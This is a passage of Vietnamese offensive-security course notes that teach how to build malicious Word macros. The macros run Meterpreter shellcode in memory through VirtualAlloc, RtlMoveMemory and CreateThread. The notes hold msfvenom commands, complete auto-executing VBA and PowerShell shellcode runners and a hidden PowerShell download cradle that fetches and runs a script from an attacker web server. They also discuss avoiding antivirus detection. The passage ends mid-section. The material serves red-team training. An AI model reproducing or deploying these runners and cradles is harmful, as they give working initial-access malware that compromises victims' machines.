**MessageBox chứa tên người dùng lấy được qua GetUserName**
![image](https://hackmd.io/_uploads/SJ-A46xVbg.png)

Mặc dù đây chỉ là một proof of concept, nó cho thấy chúng ta có thể gọi các Win32 API tùy ý trực tiếp từ VBA, điều cần thiết để thực thi shellcode từ bộ nhớ.


## VBA Shell code Runner

Tiếp theo, chúng ta sẽ tìm hiểu về một shellcode runner, một đoạn mã dùng để thực thi shellcode trong bộ nhớ. Chúng ta sẽ xây dựng đoạn mã này bằng VBA.
Phương pháp phổ biến là sử dụng ba Win32 API từ Kernel32.dll: VirtualAlloc, RtlMoveMemory và CreateThread.

Chúng ta sẽ sử dụng VirtualAlloc để cấp phát bộ nhớ không được quản lý (unmanaged memory) với quyền đọc, ghi và thực thi. Sau đó, sao chép shellcode vào vùng bộ nhớ vừa cấp phát bằng RtlMoveMemory và tạo một luồng thực thi mới trong tiến trình bằng CreateThread để thực thi shellcode. Hãy phân tích từng API này và triển khai chúng trong VBA.
Việc cấp phát bộ nhớ thông qua các Win32 API khác sẽ trả về bộ nhớ không thể thực thi do cơ chế Data Execution Prevention (DEP).
Chúng ta sẽ phân tích từng API một, bắt đầu với VirtualAlloc. Theo tài liệu MSDN, hàm VirtualAlloc có prototype như sau:
**Prototype hàm VirtualAlloc**:
```win
LPVOID VirtualAlloc(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);
```
Các tham số:
- lpAddress
Địa chỉ bắt đầu của vùng nhớ muốn cấp phát hoặc thay đổi.

Nếu đặt là NULL, hệ thống sẽ tự chọn địa chỉ phù hợp.
Nếu không NULL, hàm sẽ cố gắng cấp phát tại địa chỉ này (nếu có thể).
- dwSize
Kích thước vùng nhớ cần cấp phát, tính bằng byte.

- flAllocationType
Kiểu cấp phát hoặc thao tác với vùng nhớ. Có thể kết hợp các giá trị sau bằng phép OR:

- MEM_COMMIT (0x1000): Cấp phát bộ nhớ thực sự (commit).
- MEM_RESERVE (0x2000): Dự trữ vùng nhớ (reserve) mà chưa cấp phát vật lý.
- MEM_RESET, MEM_RESET_UNDO, MEM_LARGE_PAGES,... (các giá trị khác ít dùng hơn).
- flProtect
Quyền truy cập cho vùng nhớ được cấp phát, ví dụ:

- PAGE_READONLY: Chỉ đọc.
- PAGE_READWRITE: Đọc và ghi.
- PAGE_EXECUTE_READWRITE: Đọc, ghi và thực thi.
- PAGE_NOACCESS: Không truy cập được.
- Giá trị trả về:
Nếu thành công, trả về con trỏ (địa chỉ) tới vùng nhớ đã cấp phát.
Nếu thất bại, trả về NULL.
Tóm tắt ý nghĩa:
VirtualAlloc cho phép bạn cấp phát vùng nhớ ảo trong tiến trình, có thể dùng để lưu trữ dữ liệu, code, hoặc thực thi shellcode. Bạn có thể chỉ định kích thước, địa chỉ, kiểu cấp phát và quyền truy cập cho vùng nhớ đó.

Ví dụ đơn giản (C):
```vb
LPVOID pMem = VirtualAlloc(NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pMem == NULL) {
    // Xử lý lỗi
} else {
    // Sử dụng vùng nhớ pMem
}
```
API này chấp nhận bốn đối số. Đối số đầu tiên, lpAddress, là địa chỉ bắt đầu của vùng nhớ cần cấp phát. Nếu chúng ta để giá trị này là "0", API sẽ tự động chọn vị trí. Đối số dwSize chỉ định kích thước của vùng cấp phát. Cuối cùng, flAllocationType và flProtect chỉ định loại cấp phát (allocation type) và các cờ bảo vệ bộ nhớ (memory protections), chúng ta sẽ tìm hiểu kỹ hơn ở phần sau.

Đối số đầu tiên và giá trị trả về là các con trỏ bộ nhớ (memory pointers), có thể được biểu diễn bằng kiểu LongPtr trong VBA. Ba đối số còn lại là các số nguyên và có thể được chuyển đổi sang kiểu Long.

Chúng ta hãy khai báo các đối số này trong câu lệnh Declare đầu tiên như:
**Khai báo hàm cho VirtualAlloc**
```vb
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
```

Sau khi đã có câu lệnh Declare, chúng ta cần xác định một số giá trị cần thiết. Vì chúng ta chưa biết kích thước của shellcode, hãy tạo nó trước tiên.

Để tạo shellcode, chúng ta cần biết kiến trúc mục tiêu (target architecture). Rõ ràng, chúng ta đang nhắm mục tiêu đến máy Windows 64-bit, và trong khi các phiên bản Microsoft Word mới hơn như 365 và 2021 là ứng dụng 64-bit, các phiên bản cũ hơn như 2016 lại chạy dưới dạng 32-bit. Trong trường hợp này, chúng ta sẽ tạo một shellcode Meterpreter 64-bit.

Chúng ta sẽ sử dụng msfvenom để tạo shellcode được định dạng là vbapplication, dùng làm giai đoạn đầu (first stage) của một Meterpreter shell.

Vì chúng ta sẽ thực thi shellcode bên trong Word, chúng ta sẽ đặt EXITFUNC thành "thread" (thay vì giá trị mặc định là "process") để Word không bị đóng khi shellcode kết thúc.
**Tạo shellcode ở định dạng vbapplication**
```c
kali@kali:~$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 EXITFUNC=thread -f vbapplication
...
Payload size: 793 bytes
Final size of vbapplication file: 2655 bytes
buf = Array(252,72,131,228,240,232,204,0,0,0,65,81,65,80,82,72,49,210,81,101,72,
...
06,0,89,187,224,29,42,10,65,137,218,255,213)
```
Chúng ta sẽ thêm mảng (array) này vào mã VBA của mình.

Tiếp theo, chúng ta sẽ thiết lập các đối số cho VirtualAlloc. Tài liệu MSDN gợi ý rằng chúng ta nên cung cấp lpAddress là "0", điều này sẽ để API tự quyết định vị trí cấp phát bộ nhớ. Đối với đối số thứ hai, dwSize, chúng ta có thể gán cứng (hardcode) kích thước của shellcode dựa trên kết quả từ msfvenom, nhưng tốt hơn là nên thiết lập động. Bằng cách này, nếu thay đổi payload, chúng ta sẽ không phải thay đổi giá trị này. Chúng ta sẽ sử dụng hàm UBound để lấy kích thước của mảng (buf) chứa shellcode.

Đối với đối số thứ ba, chúng ta sẽ sử dụng giá trị 0x3000, tương đương với các enum (enums) kiểu cấp phát MEM_COMMIT và MEM_RESERVE. Điều này sẽ yêu cầu hệ điều hành cấp phát và cam kết (commit) vùng nhớ mong muốn cho chúng ta. Trong VBA, ký hiệu thập lục phân (hex notation) này sẽ được biểu diễn là &H3000.

Chúng ta sẽ đặt đối số cuối cùng là &H40 (0x40), chỉ định rằng vùng nhớ này có quyền đọc, ghi và thực thi (readable, writable, and executable) (tương ứng với cờ PAGE_EXECUTE_READWRITE).

Lệnh gọi VirtualAlloc hoàn chỉnh của chúng ta được hiển thị trong Danh sách 21. Lưu ý rằng mảng Meterpreter được lưu trong buf đã được rút gọn để dễ hiển thị.
**Gọi VirtualAlloc từ VBA**
```vb
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr

...

Dim buf As Variant
Dim addr As LongPtr

buf = Array(252,72,131,228,240,232...

addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
```
Bây giờ chúng ta đã cấp phát bộ nhớ bằng VirtualAlloc, chúng ta phải sao chép các byte shellcode vào vị trí bộ nhớ này. Việc này được thực hiện bằng hàm RtlMoveMemory. Tài liệu MSDN mô tả nguyên mẫu hàm này như sau:
**Nguyên mẫu hàm RtlMoveMemory**
```c
VOID RtlMoveMemory(
  VOID UNALIGNED *Destination,
  VOID UNALIGNED *Source,
  SIZE_T         Length
);
```
Hàm này nhận ba đối số. Giá trị trả về cùng với đối số đầu tiên có thể được chuyển đổi sang LongPtr, đối số thứ hai sử dụng Any, trong khi đối số cuối cùng có thể được chuyển đổi sang Long.

Con trỏ Destination trỏ đến vùng đệm mới được cấp phát, bản thân nó đã là một con trỏ bộ nhớ, vì vậy chúng ta có thể truyền trực tiếp. Vùng đệm Source sẽ là địa chỉ của một phần tử từ mảng shellcode và phải được truyền bằng tham chiếu (passed by reference), trong khi Length được truyền bằng giá trị (passed by value).
**Câu lệnh Declare cho RtlMoveMemory**
```vb
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr```

Chúng ta sẽ sử dụng API này để lặp qua từng phần tử của mảng shellcode và tạo một bản sao từng byte một (byte-by-byte) cho payload của chúng ta.

Điều kiện vòng lặp sử dụng các phương thức LBound và UBound để tìm phần tử đầu tiên và cuối cùng của mảng. Đây là lúc kiến thức của chúng ta về vòng lặp For phát huy tác dụng. Giờ thì, hãy nhập (import) RtlMoveMemory, khai báo hai biến kiểu long và sao chép payload của chúng ta.
**Lệnh gọi để nhập (import) và gọi RtlMoveMemory**
```vb
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr

....

Dim counter As Long
Dim data As Long
Dim res as LongPtr

For counter = LBound(buf) To UBound(buf)
    data = buf(counter)
    res = RtlMoveMemory(addr + counter, data, 1)
Next counter
```
Với các byte shellcode đã được sao chép vào vùng đệm có thể thực thi, chúng ta đã sẵn sàng để thực thi nó bằng CreateThread.

CreateThread là một API phức tạp, chỉ thị cho hệ điều hành tạo một luồng thực thi mới trong một tiến trình. Chúng ta sẽ sử dụng API này để sinh ra (spawn) một luồng thực thi với shellcode của chúng ta, vốn đang nằm tại một địa chỉ bộ nhớ đã chỉ định.

Đây là nguyên mẫu hàm cho CreateThread:
```c
HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  SIZE_T                  dwStackSize,
  LPTHREAD_START_ROUTINE  lpStartAddress,
  LPVOID                  lpParameter,
  DWORD                   dwCreationFlags,
  LPDWORD                 lpThreadId
);
```
Mặc dù số lượng đối số và tài liệu liên quan có vẻ phức tạp, chúng ta không cần đến hầu hết chúng và có thể đặt giá trị là "0". Đầu tiên, cũng như các API trước, chúng ta phải nhập hàm và chuyển đổi các đối số của nó sang kiểu dữ liệu VBA. Hai đối số đầu tiên được sử dụng để chỉ định các cài đặt không mặc định cho luồng, và vì chúng ta không cần chúng, chúng ta sẽ đặt các giá trị này bằng không và chỉ định chúng là Long.

Đối số thứ ba, lpStartAddress, là địa chỉ bắt đầu để thực thi mã và phải là địa chỉ của vùng đệm shellcode của chúng ta. Đối số này được chuyển đổi sang LongPtr.

Đối số thứ tư, lpParameter, là một con trỏ tới các đối số dành cho mã nằm ở địa chỉ bắt đầu. Vì shellcode của chúng ta không yêu cầu đối số nào, chúng ta có thể đặt kiểu tham số này là LongPtr với giá trị bằng không.

Phần khai báo và nhập được hiển thị bên dưới.
**Câu lệnh Declare cho CreateThread**
```c
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr```
```

Sau khi khai báo hàm, bây giờ chúng ta có thể gọi nó. Dòng lệnh này rất đơn giản, chỉ có một biến cho địa chỉ bắt đầu của vùng đệm shellcode.

Bây giờ chúng ta có thể ghép toàn bộ macro VBA lại với nhau:
**Câu lệnh gọi cho CreateThread**
```c
res = CreateThread(0, 0, addr, 0, 0, 0)
```
Tóm lại, chúng ta bắt đầu bằng cách khai báo các hàm cho ba API Win32. Sau đó, chúng ta khai báo năm biến, bao gồm một biến cho mảng Meterpreter và sử dụng VirtualAlloc để tạo không gian cho shellcode. Tiếp theo, chúng ta sử dụng RtlMoveMemory để đưa mã của mình vào bộ nhớ với sự trợ giúp của vòng lặp For. Cuối cùng, chúng ta sử dụng CreateThread để thực thi shellcode.
**Script VBA đầy đủ để thực thi payload Meterpreter (staged) trong bộ nhớ**
```c
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr

Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr

Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr

Function MyMacro()
    Dim buf As Variant
    Dim addr As LongPtr
    Dim counter As Long
    Dim data As Long
    Dim res As LongPtr
    
    buf = Array(252,72,131,228,240,232,204,0,0,0,65,81,65,80,82,72,49,210,81,101,72,
    ...
    06,0,89,187,224,29,42,10,65,137,218,255,213)

    addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
    
    For counter = LBound(buf) To UBound(buf)
        data = buf(counter)
        res = RtlMoveMemory(addr + counter, data, 1)
    Next counter
    
    res = CreateThread(0, 0, addr, 0, 0, 0)
End Function 

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub
```

Khi được thực thi, trình chạy shellcode của chúng ta sẽ gọi về (calls back) trình lắng nghe (listener) của Meterpreter và mở một reverse shell như mong đợi, hoàn toàn trong bộ nhớ.

Để hoạt động như mong đợi, kỹ thuật này yêu cầu một trình multi/handler 64-bit tương ứng trong Metasploit với EXITFUNC được đặt thành "thread" và địa chỉ IP cùng số cổng (port) phải trùng khớp.

Cách tiếp cận này tương đối ít bị phát hiện (low-profile). Shellcode của chúng ta tồn tại trong bộ nhớ và không có tệp thực thi độc hại nào trên máy của nạn nhân. Tuy nhiên, nhược điểm chính là khi nạn nhân đóng Word, shell của chúng ta sẽ bị tắt. Module AutoMigrate của Metasploit có thể giải quyết vấn đề này, nhưng trong Phần tiếp theo, chúng ta sẽ tận dụng PowerShell để khắc phục nhược điểm này.

#### Create a Word macro that uses Win32 APIs to perform the same actions as shown in this section, but instead uses the windows/x64/meterpreter/bind_tcp payload on port 50000. What is the size of the generated payload in bytes?
### Answer:
**1.Ý tưởng chính**
Sử dụng 3 hàm Win32 API:
- VirtualAlloc để cấp phát vùng nhớ thực thi.
- RtlMoveMemory để copy shellcode vào vùng nhớ đó.
- CreateThread để tạo luồng mới chạy shellcode.
- Shellcode là payload Meterpreter bind_tcp trên port 50000 (bạn cần tạo shellcode này bằng msfvenom).

**2.Mẫu code VBA macro**
```vb
Option Explicit

' Khai báo hàm Win32 API
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Destination As LongPtr, ByRef Source As Any, ByVal Length As Long) As LongPtr
Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal lpThreadAttributes As LongPtr, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, ByVal lpParameter As LongPtr, ByVal dwCreationFlags As Long, ByRef lpThreadId As Long) As LongPtr

Sub RunMeterpreterBindTCP()
    Dim shellcode As Variant
    Dim addr As LongPtr
    Dim i As Long
    Dim res As Long
    Dim threadId As Long

    ' Shellcode bind_tcp trên port 50000 (ví dụ, bạn cần tạo shellcode thực tế)
    shellcode = Array( /* byte array shellcode here */ )

    ' Cấp phát vùng nhớ với quyền thực thi
    addr = VirtualAlloc(0, UBound(shellcode) + 1, &H3000, &H40) ' MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE

    ' Copy shellcode vào vùng nhớ
    For i = LBound(shellcode) To UBound(shellcode)
        res = RtlMoveMemory(addr + i, shellcode(i), 1)
    Next i

    ' Tạo luồng mới chạy shellcode
    res = CreateThread(0, 0, addr, 0, 0, threadId)
End Sub

' Tự động chạy macro khi mở tài liệu
Sub Document_Open()
    RunMeterpreterBindTCP
End Sub

Sub AutoOpen()
    RunMeterpreterBindTCP
End Sub
```
**3. Giải thích**
- VirtualAlloc cấp phát vùng nhớ đủ lớn để chứa shellcode, với quyền đọc-ghi-thực thi.
- RtlMoveMemory copy từng byte shellcode vào vùng nhớ vừa cấp phát.
- CreateThread tạo luồng mới bắt đầu thực thi từ địa chỉ vùng nhớ chứa shellcode.
- Document_Open và AutoOpen là 2 thủ tục tự động chạy macro khi mở file Word.
- 
**4. Tạo shellcode bind_tcp port 50000**
Bạn dùng msfvenom tạo shellcode 64-bit bind_tcp port 50000 như sau:

```bash
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=50000 -f vbapplication
```

Lệnh này sẽ xuất ra shellcode dạng VBA array, bạn chỉ cần copy phần array vào biến shellcode trong macro.

**5.Kích thước payload**
Kích thước payload phụ thuộc vào shellcode do msfvenom tạo ra. Ví dụ, shellcode `windows/x64/meterpreter/bind_tcp` thường có kích thước khoảng 700 - 900 bytes tùy phiên bản và tùy chọn.

Bạn có thể xem kích thước chính xác trong output của msfvenom hoặc đếm số phần tử trong mảng shellcode.

**Tóm lại**
- Viết macro VBA khai báo 3 hàm Win32 API: VirtualAlloc, RtlMoveMemory, CreateThread.
- Tạo shellcode bind_tcp port 50000 bằng msfvenom, copy vào mảng shellcode.
- Cấp phát vùng nhớ, copy shellcode, tạo luồng thực thi.
- Kích thước payload thường khoảng 700-900 bytes.

## Trình chạy Shellcode bằng PowerShell (PowerShell Shellcode Runner)
**Gọi API Win32 từ PowerShell
Chuyển đổi (Porting) Trình chạy Shellcode sang PowerShell**

Mặc dù chúng ta đã có một mã khai thác (exploit) hoạt động, vẫn còn nhiều điểm cần cải tiến. Thứ nhất, tài liệu chứa shellcode Meterpreter giai đoạn đầu được nhúng sẵn và lưu vào ổ cứng, nơi nó có thể bị (chương trình) diệt virus phát hiện. Thứ hai, phiên bản tấn công bằng VBA của chúng ta đã thực thi shellcode trực tiếp trong bộ nhớ của tiến trình Word. Nếu nạn nhân đóng Word, chúng ta sẽ mất shell.

Trong phần này, chúng ta sẽ thay đổi chiến thuật một chút. Đầu tiên, chúng ta sẽ chỉ thị cho macro tải về một script PowerShell (chứa shellcode dàn dựng (staging shellcode) của chúng ta) từ máy chủ web và chạy nó trong bộ nhớ. Đây là một cải tiến so với phiên bản trước đó nhúng shellcode vào macro bên trong tài liệu độc hại. Tiếp theo, chúng ta sẽ khởi chạy script PowerShell dưới dạng một tiến trình con (child process) của (và từ) Microsoft Word. Với cấu hình mặc định, tiến trình con sẽ không bị chấm dứt khi Microsoft Word bị đóng, điều đó có nghĩa là chúng ta sẽ không mất shell.

Để thực hiện điều này, chúng ta sẽ sử dụng phương thức DownloadString của lớp WebClient để tải script PowerShell trực tiếp vào bộ nhớ và thực thi nó bằng cmdlet Invoke-Expression. Chúng ta có thể tái sử dụng chính xác các API Windows tương tự để thực thi shellcode. Tuy nhiên, chúng ta phải chuyển đổi cú pháp (syntax) từ VBA sang PowerShell. Điều này có nghĩa là chúng ta phải gọi API Win32 từ PowerShell.

**Gọi API Win32 từ PowerShell**
PowerShell không thể tương tác gốc (natively interact) với các API Win32, nhưng với sức mạnh của .NET framework, chúng ta có thể sử dụng C# trong phiên PowerShell của mình. Trong C#, chúng ta có thể khai báo và nhập (import) các API Win32 bằng cách sử dụng lớp DllImportAttribute, cho phép chúng ta gọi các hàm trong các thư viện liên kết động không được quản lý (unmanaged dynamic link libraries).

Giống như đã làm với VBA, chúng ta phải chuyển đổi các kiểu dữ liệu C (C data types) sang kiểu dữ liệu C# (C# data types). Chúng ta có thể thực hiện điều này dễ dàng với Dịch vụ Gọi nền tảng (Platform Invocation Services) của Microsoft, thường được gọi là P/Invoke. Các API P/Invoke nằm trong không gian tên (namespaces) System và System.Runtime.InteropServices và chúng ta phải nhập chúng thông qua từ khóa chỉ thị using.

Cách đơn giản nhất để bắt đầu với P/Invoke là thông qua trang web www.pinvoke.net, nơi cung cấp tài liệu chuyển đổi của các API Win32 phổ biến nhất. Ví dụ, hãy xem xét cú pháp của MessageBox từ User32.dll:
**Nguyên mẫu hàm C cho MessageBox**
```c
int MessageBox(
  HWND    hWnd,
  LPCTSTR lpText,
  LPCTSTR lpCaption,
  UINT    uType
);
```
Hãy "dịch" nó sang một chữ ký phương thức (method signature) C#. Chữ ký phương thức là một định danh duy nhất của một phương thức đối với trình biên dịch C#. Chữ ký bao gồm tên phương thức, kiểu và loại (giá trị, tham chiếu hoặc đầu ra) của từng tham số hình thức (formal parameters) và kiểu trả về (return type).

Để "dịch" điều này, chúng ta có thể tìm kiếm trên trang www.pinvoke.net hoặc đơn giản là Google với từ khóa pinvoke User32 messagebox. Kết quả đầu tiên dẫn chúng ta đến chữ ký C# cho lệnh gọi:
**Câu lệnh DllImport C# cho MessageBox**
```c#
[DllImport("user32.dll", SetLastError = true, CharSet= CharSet.Auto)]
public static extern int MessageBox(int hWnd, String text, String caption, uint type);
```
Để sử dụng điều này, chúng ta sẽ cần thêm một chút mã để nhập các không gian tên System và System.Runtime.InteropServices chứa các API P/Invoke.

Sau đó, chúng ta sẽ tạo một lớp C# (User32) để nhập chữ ký MessageBox bằng DllImport. Lớp này sẽ cho phép chúng ta tương tác với API của Windows. Chúng ta đặt tên nó là User32 trong trường hợp này, nhưng tên lớp là tùy ý.
**Câu lệnh DllImport C# cho MessageBox**
```c#
using System;
using System.Runtime.InteropServices;

public class User32 {
    [DllImport("user32.dll", CharSet=CharSet.Auto)]
    public static extern int MessageBox(IntPtr hWnd, String text, 
        String caption, int options);
}
```
Bây giờ chúng ta đã có một câu lệnh nhập C# và bản dịch P/Invoke, chúng ta cần gọi nó từ PowerShell bằng từ khóa Add-Type. Việc chỉ định Add-Type trong PowerShell sẽ buộc .NET framework biên dịch (compile) và tạo một đối tượng (object) chứa các cấu trúc, giá trị, hàm hoặc mã bên trong câu lệnh Add-Type.

Nói một cách đơn giản, Add-Type sử dụng .NET framework để biên dịch mã C# chứa các khai báo API Win32. Đây là câu lệnh Add-Type hoàn chỉnh:
**Câu lệnh Add-Type của PowerShell để nhập MessageBox**
```powershell
$User32 = @"
using System;
using System.Runtime.InteropServices;

public class User32 {
    [DllImport("user32.dll", CharSet=CharSet.Auto)]
    public static extern int MessageBox(IntPtr hWnd, String text, 
        String caption, int options);
}
"@

Add-Type $User32
```
Đầu tiên, lưu ý rằng PowerShell sử dụng dấu xuống dòng hoặc dấu chấm phẩy để biểu thị kết thúc một câu lệnh. Từ khóa "@" khai báo Chuỗi Here-Strings giúp chúng ta khai báo các khối văn bản.

Tóm lại, đoạn mã trước tiên tạo một biến $User32 và gán nó bằng một khối văn bản. Bên trong khối văn bản đó, chúng ta thiết lập chương trình sử dụng System và System.Runtime.InteropServices. Sau đó, chúng ta nhập API MessageBox từ user32.dll, và cuối cùng chúng ta sử dụng Add-Type để biên dịch mã C# chứa trong biến $User32.

Mã của chúng ta gần như hoàn tất. Bây giờ chúng ta chỉ cần thực thi chính API đó bằng cách khởi tạo (instantiating) đối tượng .NET User32. Trong trường hợp này, chúng ta sẽ gọi MessageBox và hiển thị một hộp thoại (dialog prompt) có nội dung "This is an alert":
**Gọi API Win32 MessageBox từ PowerShell**
```powershell
[User32]::MessageBox(0, "This is an alert", "MyBox", 0)
```
Tại thời điểm này, mã của chúng ta trông như sau:
**Mã hoàn chỉnh gọi API Win32 MessageBox từ PowerShell**
```powershell
$User32 = @"
using System;
using System.Runtime.InteropServices;

public class User32 {
    [DllImport("user32.dll", CharSet=CharSet.Auto)]
    public static extern int MessageBox(IntPtr hWnd, String text, 
        String caption, int options);
}
"@

Add-Type $User32

[User32]::MessageBox(0, "This is an alert", "MyBox", 0)
```
**Gọi MessageBox từ PowerShell**
![image](https://hackmd.io/_uploads/B1YocY0J-g.png)
Điều này hoạt động khá tốt và chứng minh rằng mặc dù PowerShell không thể sử dụng gốc các API Win32, Add-Type có thể gọi chúng thông qua P/Invoke. Trong phần tiếp theo, chúng ta sẽ sử dụng một kỹ thuật tương tự để triển khai trình chạy shellcode VBA của mình trong PowerShell.
## Chuyển đổi Trình chạy Shellcode sang PowerShell
Khái niệm chuyển đổi kỹ thuật trình chạy shellcode của chúng ta từ VBA sang PowerShell không quá phức tạp. Chúng ta có thể thực hiện điều này bằng cách tái sử dụng lý thuyết từ trình chạy shellcode VBA. Chúng ta đã biết ba bước cần thực hiện. Đầu tiên, chúng ta cấp phát bộ nhớ có thể thực thi bằng **VirtualAlloc**. Tiếp theo, chúng ta sao chép shellcode vào vùng nhớ mới được cấp phát. Cuối cùng, chúng ta thực thi nó bằng `CreateThread`.

Trong mã VBA, chúng ta đã sử dụng `RtlMoveMemory` để sao chép shellcode, nhưng trong PowerShell, chúng ta có thể sử dụng phương thức `.NET` Copy từ không gian tên `System.Runtime.InteropServices`.Marshal để sao chép một mảng được quản lý (managed array) sang một con trỏ bộ nhớ không được quản lý (unmanaged memory pointer).

Sau khi tra cứu trên P/Invoke, chúng ta sẽ chuyển đổi các đối số của VirtualAlloc và CreateThread, tạo ra câu lệnh `Add-Type` như sau:
**Sử dụng P/Invoke và Add-Type để nhập (import) VirtualAlloc và CreateThread**
```powershell
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32", CharSet=CharSet.Ansi)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}"@

Add-Type $Kernel32
```
Lưu ý rằng chúng ta đã sử dụng Chuỗi Here-Strings (ký hiệu @""@) để gán một khối văn bản cho biến $Kernel32. Chúng ta cũng đã tạo các câu lệnh nhập (import) trong lớp Kernel32 công khai (public) để có thể tham chiếu và biên dịch nó sau này.

Tiếp theo, chúng ta phải cung cấp shellcode cần thiết, chúng ta sẽ lại tạo ra bằng msfvenom. Lần này, chúng ta sẽ sử dụng định dạng đầu ra ps1:
**Tạo shellcode ở định dạng ps1**
```bash
kali@kali:~$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 EXITFUNC=thread -f ps1
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x664 from the payload
No encoder specified, outputting raw payload
Payload size: 800 bytes
Final size of ps1 file: 3924 bytes
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0...
```
Đã có shellcode, chúng ta có thể sao chép biến $buf và thêm nó vào mã của mình. Chúng ta cũng sẽ bắt đầu thiết lập các đối số cho API:
**Trình chạy Shellcode trong PowerShell**
```powershell
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0...

$size = $buf.Length

[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)

$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);
```
Chúng ta đã gọi lệnh VirtualAlloc đã nhập với các đối số tương tự như trước đây. Chúng bao gồm số "0" để API tự chọn địa chỉ cấp phát, theo sau là kích thước được phát hiện của shellcode và các số thập lục phân 0x3000 (&H3000 trong VBA) và 0x40 (&H40) để thiết lập cấp phát bộ nhớ và các cờ bảo vệ một cách chính xác.

Chúng ta đã sử dụng phương thức .NET Copy để sao chép shellcode, cung cấp mảng shellcode được quản lý, giá trị bù (offset) là 0 chỉ định bắt đầu của vùng đệm, địa chỉ vùng đệm không được quản lý và kích thước shellcode.

Cuối cùng, chúng ta gọi CreateThread, cung cấp địa chỉ bắt đầu.

Nếu chúng ta chạy mã này từ PowerShell ISE, chúng ta sẽ nhận được một reverse shell.
**Multi/handler bắt được shell Meterpreter được thực thi bởi PowerShell**
```bash
[*] Started HTTPS reverse handler on https://192.168.119.120:443
[*] https://192.168.119.120:443 handling request from 192.168.120.11; (UUID: pm1qmw8u) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 1 opened (192.168.119.120:443 -> 192.168.120.11:49678)

meterpreter >
```
Bây giờ chúng ta cần kích hoạt (trigger) điều này từ một macro Word. Tuy nhiên, chúng ta sẽ không chỉ nhúng mã PowerShell vào VBA. Thay vào đó, chúng ta sẽ tạo một mồi tải (download cradle) để tải mã của chúng ta vào bộ nhớ và thực thi nó.
**Mã VBA gọi mồi tải PowerShell thực thi trình chạy shellcode**
```vb
Sub MyMacro()
    Dim str As String
    str = "powershell (New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/run.ps1') | IEX"
    Shell str, vbHide
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub
```
Đầu tiên, chúng ta khai báo một biến chuỗi chứa lệnh gọi PowerShell của mồi tải thông qua lớp Net.WebClient. Khi script PowerShell đã được tải vào bộ nhớ dưới dạng một chuỗi, nó sẽ thực thi bằng cách sử dụng Invoke-Expression (IEX). Toàn bộ quá trình thực thi mã này được kích hoạt bằng lệnh Shell.

Lưu ý rằng mồi tải tham chiếu đến run.ps1 trong thư mục gốc web (web root) của máy Kali của chúng ta. Để thực thi mã, trước tiên chúng ta sẽ sao chép trình chạy shellcode PowerShell của mình vào tệp run.ps1 trên máy chủ web Apache của Kali.

Tiếp theo, chúng ta sẽ mở Microsoft Word và chèn mã VBA từ Danh sách 39 vào macro và thực thi nó.

Tuy nhiên, chúng ta không bắt được shell (catch a shell) trong multi/handler. Hãy thử gỡ lỗi (troubleshoot).

Đầu tiên, chúng ta biết macro đang thực thi vì nhật ký (logs) Apache của máy Kali cho thấy yêu cầu GET cho trình chạy shellcode:
**Nhật ký truy cập Apache cho thấy script run.ps1 của chúng ta đang được tải về**
```bash
